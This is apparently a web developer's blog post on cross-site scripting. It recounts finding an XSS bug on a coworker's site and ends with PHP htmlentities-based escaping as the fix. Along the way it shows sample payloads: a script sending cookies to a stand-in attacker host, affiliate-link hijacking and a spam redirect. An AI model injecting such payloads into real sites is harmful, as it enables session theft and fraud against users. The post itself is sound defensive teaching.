If SQL Injection allows a user to make a full copy of your database, Cross Site Scripting will give an attacker full control over your users. Both are equally dangerous and relatively easy to protect against. Not long ago, I wrote about the dangers of SQL Injection, today I want to focus on Cross Site Scripting.
A year ago, a coworker of mine left the company. He joined a small group and they started their own website. I checked the website a few month later and noticed an important problem. I work as a web developer so I do like to test some random input when I see an empty text field.
So I tried a simple test. I wrote this as a new post:
This website is awesome <script>console.log("not!")</script>
It dynamically populated the page with my new comment: “ This website is awesome”. And when I checked the console, this is what it said:
not!
That is Cross-site Scripting! I notified my coworker in the nicest way I could think of, because I know people who find bugs on your website can be jerks about it. He said he will fix it. Well, the bug is still there today. Which is what motivated this blog post.
How dare you make a bug in your software.
Anyway, let me show you what is happening.
What is Cross-Site Scripting?
Usually abbreviated XSS, it is a user's ability to insert JavaScript code on your page and this same code can be displayed to other users. For example:
<textarea name="userbio" placeholder="Enter Your Bio Here"></textarea>
When this text input field is presented to a user, he can enter some information in it then save it. Now, when other people visit the page, it is displayed back to them:
<h2>User Biography</h2>
<div class="bio">
<?php
echo $data["userbio"];
?>
</div>
This seems harmless, but a malicious user can take advantage of it. He can insert simple JavaScript on that page that will run on any bodies computer when they reach this page.
If that does not scare you, let me show you what can be done with it.
Session hijacking.
You may have the most secure password, but a clever hacker does not need to rent a cluster of super computers to brute force it to figure out what it is. By simply stealing your cookie information he can log in as you.
<script>
var homeUrl = "http://attackerserver.example.org/steal?cookie="+ encodeURIComponent(document.cookie);
var req = new Image();
req.src = homeUrl;
</script>
And just like that, your session information is gone. The attacker can log in from the sanctity of his home as you.
Switching your affiliate links.
On my coworkers website, they use affiliate links to generate revenue. When you click on a product, it takes you to amazon where you can purchase it. They get credit because they pass a little code on the URL.
http://example.org/?amazontag=yourcodehere
So here what the attacker can do:
<script>
var a = document.getElementsByTagName("a");
for (var i = 0;i<a.length;i++){
if (a.href.indexOf("amazontag=") !== -1){
a.href = a.href.replace(/(amazontag.*)/,"amazontag="+"attackersamazoncode");
}
}
</script>
And just like that, all your affiliate links will be the attackers link. You don't make money anymore. The attacker makes money.
Analytics
If you have XSS vulnerabilities, your competitor can take advantage and see how much traffic you are getting. They can track user by inserting analytics code on your page. So much for your inflated reports!
Redirect traffic.
This is a common one. You get to a website and it automatically gets redirected to a different spammy one. Here is how it's done.
I think this post is really cool.
<script>
window.location.href = "http://spaaaaaaaaaaaaam.com";
</script>
This is just a few things I came up with right now, but I am sure a clever hacker can do a lot more damage.
Do you think you should protect yourself now? I think you do.
That's not how you sanitize data!
How to protect yourself from XSS
Let's get right to it. Let's see how we can protect ourselves by fixing the first code.
There are two school of thoughts. One group of people think it is best to sanitize all code from the input before saving it. This way you don't have to worry about how you print the data on the page.
The other group saves everything the user inputs as is. It is only before it is to be printed on the page that the input is sanitized. I usually go for this method, because it allows me to see who are the naughty users.
So instead of directly echoing the data on the page, we use htmlentities();
<h2>User Biography</h2>
<div class="bio">
<?php
echo htmlentities($data["userbio"],ENT_QUOTES,"UTF-8");
?>
</div>
That's it really. If the user adds some code, it is converted to html entities. For example, the code I used earlier This website is awesome <script>console.log("not!")</script>
, will be converted to this:
<h2>User Biography</h2>
<div class="bio">
This website is awesome <script>console.log("not!")</script>
</div>
No script tag will be added to the page. All you have to do is make sure that you never echo user input directly into the page. I know that is asking a lot, the trick is to make your code look wrong if you don't follow the rules. There is an excellent article by Joel Spolsky about making your code look wrong. Seriously, go read it.
Here is what I do for this blog, I don't use the keyword echo in an HTML template. As simple as that. If I see the word echo
anywhere I know I am doing something wrong. Instead, I have a class that handles printing inside templates:
<h2>User Biography</h2>
<div class="bio">
<?php $view->safeHTML($data["userbio"])?>
</div>
Internally all it does is echo htmlentities. The advantage is it forces me to use the standard and everything else will seem wrong.
Every programming language has a library to convert your string to html entities. A simple google search should help you find the one you need. In the meanwhile, create a wrapper, or a naming convention that will help you remember to always sanitize your user inputs. Or you will have to call for help when you get hacked.
Cross-site Scripting is easy to ignore. You don't see the threat right away. Sometimes the worst thing that happens is a user adding these symbols <>
in their input and they break your website. But, your job is to protect yourself and your users from the worst scenario. You wouldn't want all your users data to be compromised now do you?
Good! So sanitize your input.
Comments
There are no comments added yet.
Let's hear your thoughts